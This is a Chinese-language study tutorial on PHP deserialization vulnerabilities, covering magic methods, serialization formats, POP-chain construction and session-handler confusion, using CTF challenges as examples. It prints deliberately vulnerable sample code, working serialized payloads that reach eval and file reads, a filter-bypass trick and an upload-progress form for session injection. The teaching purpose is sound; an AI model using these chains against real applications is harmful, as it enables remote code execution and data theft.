反序列化的学习笔记
php反序列化入门
Hvv期间爆出来一个漏洞:Yii框架反序列化RCE利用链。php反序列化已经从最开始的CTF宠儿,到现在框架的pop利用链构造,利用方式也越来越多样化。遂来系统性的学习一下php反序列化,本系列文章会从php反序列化漏洞的基础开始(入门篇),结合一些cms实例来学习pop利用链的构造,最后对Yii框架反序列化RCE利用链漏洞进行分析(放弃篇)。
php反序列化基础
php类与对象
类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。
<?php class people{//定义类属性(类似变量),public 代表可见性(公有)public $name = 'joker';//定义类方法(类似函数)public function smile(){echo $this->name." is smile...\n";} } $psycho = new people(); //根据people类实例化对象 $psycho->smile(); ?>
上述代码定义了一个people类,并在在类中定义了一个public类型的变量$name和类方法smile。然后实例化一个对象$psycho,去调用people类里面的smile方法,打印出结果。
这就是php类与对象最基础的使用。
魔术方法
为什么被称为魔法方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 (两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 为前缀。下表为php常见的魔术方法:
方法名 | 作用 |
---|---|
__construct | 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值 |
__destruct | 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用 |
__toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法 |
__wakeup() | 使用unserialize时触发,反序列化恢复对象之前调用该方法 |
__sleep() | 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化) |
__destruct() | 对象被销毁时触发 |
__call() | 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性) |
__set() | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 |
__isset() | 当对不可访问属性调用isset()或empty()时触发 |
__unset() | 当对不可访问属性调用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
额外提一下__tostring的具体触发场景:
(1) echo($obj) / print($obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候
举个例子:
<?phpclass animal {private $name = 'caixukun'; public function sleep(){echo "<hr>";echo $this->name . " is sleeping...\n";}public function __wakeup(){echo "<hr>";echo "调用了__wakeup()方法\n";}public function __construct(){echo "<hr>";echo "调用了__construct()方法\n";}public function __destruct(){echo "<hr>";echo "调用了__destruct()方法\n";}public function __toString(){echo "<hr>";echo "调用了__toString()方法\n";}public function __set($key, $value){echo "<hr>";echo "调用了__set()方法\n";}public function __get($key) {echo "<hr>";echo "调用了__get()方法\n";}}$ji = new animal();$ji->name = 1;echo $ji->name;$ji->sleep();$ser_ji = serialize($ji);//print_r($ser_ji);print_r(unserialize($ser_ji)) ?>
php序列化/反序列化
在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时,我们时常需要将数组进行序列号操作。
php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
序列化
举个序列化小栗子:
<?php class object{public $team = 'joker';private $team_name = 'hahaha';protected $team_group = 'biubiu'; function hahaha(){$this->$team_members = '奥力给';} } $object = new object(); echo serialize($object); ?>
以上是序列化之后的结果,o代表是一个对象,6是对象object的长度,3的意思是有三个类属性,后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。值得一提的是,类方法并不会参与到实例化里面。
需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。
-
使用public修饰进行序列化后,变量$team的长度为4,正常输出。
-
使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
-
使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:
\1. 受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
\2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]
其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。
序列化格式中的字母含义:
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
反序列化
反序列化的话,就依次根据规则进行反向复原。
这边定义一个字符串,然后使用反序列化函数unserialize进行反序列化处理,最后使用var_dump进行输出:
<?php$ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';$ser = unserialize($ser);var_dump($ser); ?>
php反序列化漏洞(对象注入)
在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。命令执行函数-------> system eval assert call_user_func
挖掘反序列化漏洞的条件是:
代码中有可利用的类,并且类中有wakeup(),sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
unserialize()函数的参数可控。
php对象注入示例一:
<?php class A{var $test = "demo";function __destruct(){@eval($this->test);} } $test = $_POST['test']; $len = strlen($test)+1; $p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($p); // 反序列化同时触发_destruct函数 ?>
如上代码,最终的目的是通过调用destruct()这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到unserialize()反序列化的时候,会触发destruct()方法,同时也可以触发__wakeup()方法。但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖。
可以看到当我们传入的参数为 phpinfo()
这样的话在调用__destruct方法执行eval之前就把变量$test的值替换成恶意payload。
php对象注入示例二:
这是来自bugku的一道题。题目地址
index.php
<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")) { echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } } else { echo "you are not the number of bugku ! "; } ?>
hint.php
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("good");} } } ?>
hint.php文件中使用了魔术方法tostring()方法,当一个对象被当作一个字符串被调用时即可触发,方法的主要作用是读取并打印传进来的$file,估计是通过反序列化漏洞来读取flag.php的内容。追踪以下调用链,在index.php文件中发现使用echo将反序列化的对象当作字符串打印,此处就会触发tostring()方法,并且unserialize()内的变量可控,满足反序列化漏洞条件。直接构造payload:(关于使用php://filter进行任意文件的读取,参照p牛:《谈一谈php://filter的妙用》)
php对象注入示例三:
<?php class test{var $test = '123';function __wakeup(){$fp = fopen("flag.php","w");fwrite($fp,$this->test);fclose($fp);} } $a = $_GET['id']; print_r($a); echo "</br>"; $a_unser = unserialize($a); require "flag.php"; ?>
如上代码主要通过调用魔术方法wakeup将$test的值写入flag.php文件中,当调用unserialize()反序列化操作时会触发wakeup魔术方法,接下来就需要构造传进去的payload,先生成payload:
<?php class test{var $test = "<?php phpinfo(); ?>"; } $test = new test(); echo serialize($test); ?>
传入payload:
在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。
php反序列化利用—POP链构造
上面的两个例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。(从结果找原因)
POP链简介
1. POP 面向属性编程(Property-Oriented Programing)
常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。
2. POP CHAIN
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
POP链利用技巧
1. 一些有用的POP链中出现的方法:
php 1. 需要魔术方法 因为魔术方法是他最终执行点 执行函数
-
执行函数
-
利用链
-
需要unserial方法
-
session
-
phar
-
php://filter
- 命令执行:exec()、passthru()、popen()、system() - 文件操作:file_put_contents()、file_get_contents()、unlink() - 代码执行:eval()、assert()、call_user_func()
2. 反序列化中为了避免信息丢失,使用大写S支持字符串的编码。
PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
3. 深浅copy
在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B;
4. 利用PHP伪协议
配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
POP链构造小例子一
<?php class main {protected $ClassObj;function __construct() {$this->ClassObj = new normal();}function __destruct() {$this->ClassObj->action();} }class normal {function action() {echo "hello bmjoker";} }class evil {private $data;function action() {eval($this->data);} } //$a = new main(); unserialize($_GET['a']); ?>
如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法construct()是调用normal类,destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法__construct()去调用evil这个类,并且给变量$data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行<?php eval("phpinfo();")?>。尝试构造payload:
编写我们想要执行的效果,然后进行序列化。
但是由于$ClassObj是protected类型修饰,$data是private类型修饰,在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。
最后payload为:
O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
POP链构造小例子二
<?php class MyFile {public $name;public $user;public function __construct($name, $user) {$this->name = $name;$this->user = $user; }public function __toString(){return file_get_contents($this->name);}public function __wakeup(){if(stristr($this->name, "flag")!==False) $this->name = "/etc/hostname";else$this->name = "/etc/passwd"; if(isset($_GET['user'])) {$this->user = $_GET['user']; }}public function __destruct() {echo $this; } } if(isset($_GET['input'])){$input = $_GET['input']; if(stristr($input, 'user')!==False){die('Hacker'); } else {unserialize($input);} }else { highlight_file(__FILE__); }
像如上代码比较复杂的可以先定位魔术方法与漏洞触发点。在代码中发现toString()魔术方法调用了file_get_contents()来读取变量$name的数据。当程序执行结束或者变量销毁时就会自动调用析构函数destruct()并使用echo输出变量,__toString()方法在此时会被自动调用。关键在于如果能控制变量$name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量$user,并且传入的$user还不能包含 "user" 子符串。解决方法:
-
$input 前端传进来的参数不允许包含"user"字段,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过
-
$name字段不可控,$user字段可控,可以使用浅copy来实现赋值。
尝试构造payload:
<?php class MyFile {public $name = '/etc/hosts';public $user = ''; } $a = new MyFile(); $a->name = &$a->user; $b = serialize($a); $b = str_replace("user", "use\\72", $b); $b = str_replace("s", "S", $b); var_dump($b); ?>
一般POP链都是反着程序来生成,将我们要实现的代码序列化,传入程序进行反序列化 ,就可以让程序按照我们的想法执行。
如上代码我们的目的是去操控$name的值,但事实只有$user的值可控,所以采取浅copy:a->name = &a->name = &a->user。当变量$user改变时,变量$name也会跟着改变(其实就是指针指向的问题)。这样就可以通过控制变量$user的值来控制$name的值。紧接着下面两个str_replace目的是在序列化内容中用大写S表示字符串,这个字符串就支持将后面的字符串用16进制表示,就可以绕过代码中对用户输入"user" 字符串的检测。尝试执行payload:
传入user=D://1.txt,就相当于替换$this->name的值,成功读取文件。
POP链构造小例子三
这个小例子来自于《PHP反序列化由浅入深》,这个例子有点意思。
<?php class start_gg {public $mod1;public $mod2;public function __destruct(){$this->mod1->test1();} } class Call {public $mod1;public $mod2;public function test1(){$this->mod1->test2();} } class funct {public $mod1;public $mod2;public function __call($test2,$arr){$s1 = $this->mod1;$s1();} } class func {public $mod1;public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;} } class string1 {public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";} } class GetFlag {public function get_flag(){echo "flag:xxxxxxxxxxxx";} } $a = $_GET['string']; unserialize($a); ?>
最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。
\1. string1中的tostring存在$this->str1->get_flag(),分析一下要自动调用tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。
$this->str1 = new GetFlag()
\2. 发现类func中存在invoke方法执行了字符串拼接,需要把func当成函数使用自动调用invoke然后把$mod1赋值为string1的对象与$mod2拼接。
$this->mod1 = new string1() 这样的话在字符串拼接的时候就会触发魔术方法__toString()
\3. 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在call方法中,且参数为$test2,即无法调用test2方法时自动调用 call方法;
$this->mod1 = new func() 将func类作为函数调用就会触发魔术方法__invoke()
\4. 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
$this->mod1 = new funct() 因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()
\5. 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里
$this->mod1 = new Call()
这个例子有趣的地方是在于结合魔术方法来层层调用,根据上面的分析来构造payload:
<?php class start_gg {public $mod1;public function __construct(){$this->mod1 = new Call(); //把$mod1赋值为Call类对象}} class Call {public $mod1;public function __construct(){$this->mod1 = new funct(); //把 $mod1赋值为funct类对象}}class funct {public $mod1;public function __construct(){$this->mod1= new func(); //把 $mod1赋值为func类对象}} class func {public $mod1;public function __construct(){$this->mod1= new string1(); //把 $mod1赋值为string1类对象}} class string1 {public $str1;public function __construct(){$this->str1= new GetFlag(); //把 $str1赋值为GetFlag类对象 }} class GetFlag { } $b = new start_gg; //构造start_gg类对象$b echo urlencode(serialize($b)); //显示输出url编码后的序列化对象
输出payload后传参,成功执行get_flag():
POP链构造小例子四
<?php class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);} }class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}} }class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();} }if(isset($_GET['pop'])){@unserialize($_GET['pop']); } else{$a=new Show;highlight_file(__FILE__); } ?>
通读代码,发现漏洞点在于可以通过调用Modifier类中的include方法造成任意文件包含漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。
\1. Modifier类中append方法被invoke()调用,并传入$this->var参数。当类Modifier被当作函数调用的时候,会自动调用魔术方法invoke()。
最后在Test类的构造函数看到了$this->p,这里可以直接通过反序列化控制属性p的值,然后通过调用魔术方法get()来return一个p(),类被当作函数调用就可以触发魔术方法invoke(),需要把p赋值为Modifier类的对象,$this->var可以传入想要包含的文件。
$this->p = new Modifier()
\2. Test类中的魔术方法get()是在读取不可访问属性的值时会被调用,发现Show类中的魔术方法toString()访问了str的source属性,如果str是Test类的对象,则不存在source属性,Test类的__get()魔术方法就会被调用。
$this->str = new Test()
\3. Show类中的魔术方法toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法construct()使用echo输出字符串,如果$this->source指向一个对象,就会调用__toString()方法。
$a = new Show(); $this->source = $a;
最终的调用链如下:
include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString()
尝试构造payload:
<?php class Modifier {protected $var = "D://1.txt";}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";} }class Test{public $p;public function __construct(){$this->p = new Modifier();} }$a = new Show(); $a->source = $a; $a->str = new Test(); echo urlencode(serialize($a)); ?>
输出payload后传参,成功执行:
PHP Session反序列化
PHP Session
session请求过程
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session_start的作用
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
整个流程大概如上所述,也可参考下述流程图:
Session存储机制
PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。
先来大概了解一下PHP Session在php.ini中主要存在以下配置项:
Directive | 含义 |
---|---|
session.save_handler | 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files |
session.save_path | 设置session的存储路径,默认在/tmp |
session.serialize_handler | 定义用来序列化/反序列化的处理器名字。默认使用php。 |
session.auto_start | 指定会话模块是否在请求开始时启动一个会话,默认为0不启动 |
session.upload_progress.enabed | 将上传文件的进度信息存储在session中。默认开启 |
session.upload_progress.cleanup | 一旦读取了所有的POST数据,立即清除进度信息。默认开启 |
在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同
存储引擎 | 存储方式 |
---|---|
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
下面通过小例子来展示一下存储方式的不同:
php处理器:
<?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); $_SESSION['username'] = $_GET['username']; ?>
序列化的结果为:username|s:7:"bmjoker";
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
Session文件内容为:$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值。
php_binary处理器
<?php error_reporting(0); ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['username'] = $_GET['user']; ?>
序列化的结果为:usernames:7:"bmjoker";
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
Session文件内容为:键名的长度对应的 ASCII 字符 + $_SESSION['username']的键名 + GET参数经过serialize序列化后的值。
php_serialize处理器
<?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['username'] = $_GET['user']; ?>
序列化的结果为:a:1:{s:8:"username";s:7:"bmjoker";}
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
Session文件内容为:GET参数经过serialize序列化后的值。
Session反序列化漏洞
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。
存在对$_SESSION变量赋值
php引擎存储Session的格式为
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
---|---|
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session:
Session1.php
<?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['username'] = $_GET['user']; echo "<pre>"; var_dump($_SESSION); echo "</pre>"; ?>
接下来使用php引擎来读取Session文件
Session2.php
<?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class user{var $name;var $age;function __wakeup(){echo "hello ".$this->name." !"} } ?>
漏洞的主要原因在于不同的引擎对于竖杠' | '的解析产生歧义。
对于php_serialize引擎来说' | '可能只是一个正常的字符;但对于php引擎来说' | '就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对' | '后的值进行反序列化处理。
可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对' | '后面的内容进行反序列化呢?也没看到反序列化unserialize函数。
这是因为使用了session_start()这个函数 ,看一下官方说明:PHP: session_start - Manual
可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。
明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来构造payload:
<?phpclass user{var $name;var $age;}$a = new user();$a->name = "bmjoker";$a->age = "888";echo serialize($a); ?>
如上生成的payload如果想利用php引擎读取Session文件时对' | '解析产生的反序列化漏洞,需要在payload前加个' | ',这个时候经过php_serialize引擎存储就会变成:``
这个使用如果使用php引擎去读取
直接访问Session2.php文件:
成功触发了user类的魔术方法__wakeup(),结合POP反序列化链就可以造成一些其他的漏洞。
但这种方法是在可以对$SESSION进行赋值的情况下实现的,那如果代码中不存在对$SESSION变量赋值的情况下又该如何利用?
不存在对$_SESSION变量赋值
在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对(key:value),value中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。
更多细节请参考:PHP: Session 上传进度 - Manual
从上面的大概描述大概得知此漏洞需要session.upload_progress.enabled为on,在上传文件的时候同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。
来看一道Jarvis OJ 平台的 PHPINFO 题目
环境地址:http://web.jarvisoj.com:32784/
index.php
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO {public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);} } if(isset($_GET['phpinfo'])) {$m = new OowoO(); } else {highlight_string(file_get_contents('index.php')); } ?>
通过index.php代码可以得知:
-
是使用php的引擎来读取Session。
-
如果存在GET方式传递进来的参数,就实例化Oowo类的对象,就会自动调用构造函数construct(),将phpinfo()赋值给变量$mdzz,在程序结束的时候调用析构函数destruct()通过eval执行$mdzz,说白了就是随便传一个参数,就可以看到php探针。
通过读取php探针文件发现了两个比较重要的信息:
-
默认的Session存储引擎为php_serialize,但是index.php告诉我们Session读取使用的是php引擎,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
-
index.php代码中虽然没有对$SESSION变量赋值,但是session.upload_progress.enabled 为 On。符合使用upload_process机制对变量$SESSION赋值,并结合上面的Session反序列化来构造利用。
session.upload_progress.name 为 PHP_SESSION_UPLOAD_PROGRESS,可以本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS 变量。
up_sess.html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" / ><input type="submit" /> </form>
接下来构造序列化payload来读取flag:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class OowoO {public $mdzz='print_r(scandir(dirname(__FILE__)));';} $obj = new OowoO(); echo serialize($obj); ?>
其中print_r(scandir(dirname(FILE)));用来打印当前文件绝对路径目录中的文件和目录的数组
接下来就要通过不同引擎的差异解析来构造反序列化payload,只需要在前面加上' | ',这样通过php引擎反序列化' | '后半部分,就可以打印出目录中的文件数组:
|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串
查看根目录文件:
发现flag文件与index.php文件在同一目录下,查看根目录路径:
读取flag文件:
Session反序列化POP链构造
注:以下例子在本地搭建,需要在php.ini中对以下选项进行配置:
session.auto_start = Off session.serialize_handler = php_serialize session.upload_progress.cleanup = 0ff
session.auto_start = on 表示PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
session.serialize_handler = php_serialize 表示默认使用php_serialize引擎进行存储。
session.upload_progress.cleanup = On 导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。
前期为了演示反序列化效果,暂时将这个选项关闭Off,后面会打开来展示利用条件竞争Session反序列化rce。
class.php
<?php highlight_string(file_get_contents(basename($_SERVER['PHP_SELF']))); //show_source(__FILE__); class foo1{public $varr;function __construct(){$this->varr = "index.php";}function __destruct(){if(file_exists($this->varr)){echo "<br>文件".$this->varr."存在<br>";}echo "<br>这是foo1的析构函数<br>";} }class foo2{public $varr;public $obj;function __construct(){$this->varr = '1234567890';$this->obj = null;}function __toString(){ // 类被当作字符串时被调用$this->obj->execute();return $this->varr;}function __desctuct(){echo "<br>这是foo2的析构函数<br>";} }class foo3{public $varr;function execute(){eval($this->varr);}function __desctuct(){echo "<br>这是foo3的析构函数<br>";} }?>
index.php
<?php ini_set('session.serialize_handler', 'php'); require("./class.php"); session_start(); $obj = new foo1(); $obj->varr = "phpinfo.php"; ?>
通读class.php文件,发现漏洞点在于可以通过调用foo3类中的eval方法造成命令执行漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。
\1. foo3类中execute方法没有发现调用的地方,但是在foo2类中的魔术方法toString()中发现调用了同名方法,这里可以把foo2类中的$obj实例化为foo3类的对象,这样只要调用toString()就相当于调用foo3类中execute方法。
$this->obj = new foo3();
\2. 如果想触发foo2类中的魔术方法toString()被触发,就需要foo2类或者类下的一个对象被当作字符串调用。而在foo1类中发现echo了一个对象,这里可以把foo1类中的$varr实例化为foo2类的一个对象,这样通过echo,把一个对象当作一个字符串调用,就可以触发foo2类中的toString()方法。
$this->varr = new foo2();
class.php文件的调用链为:
foo3::execute <-- foo2::__toString <-- foo1::__destruct
思路有了现在来构造payload:
<?php class foo1{function __construct(){$this->varr = new foo2(); } } class foo2{function __construct(){$this->obj = new foo3();} } class foo3{public $varr='phpinfo();'; }$obj = new foo1(); echo serialize($obj); ?>
再来分析一下index.php文件:
-
发现使用php引擎来读取Session文件,而系统默认是使用php_serialize引擎来存储Session, 通过不同引擎的差异解析就可以反序列化rce。
-
文件直接require(class.php),并且紧接着实例化一个foo1类的对象,这意味着使用php引擎解析完Session文件,反序列化payload直接就可以rce。
本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS变量。
<form action="http://127.0.0.1/index.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" /><input type="submit" /> </form>
在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串,payload为:
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}
现在设置session.upload_progress.cleanup = On ,文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争来反序列化rce。
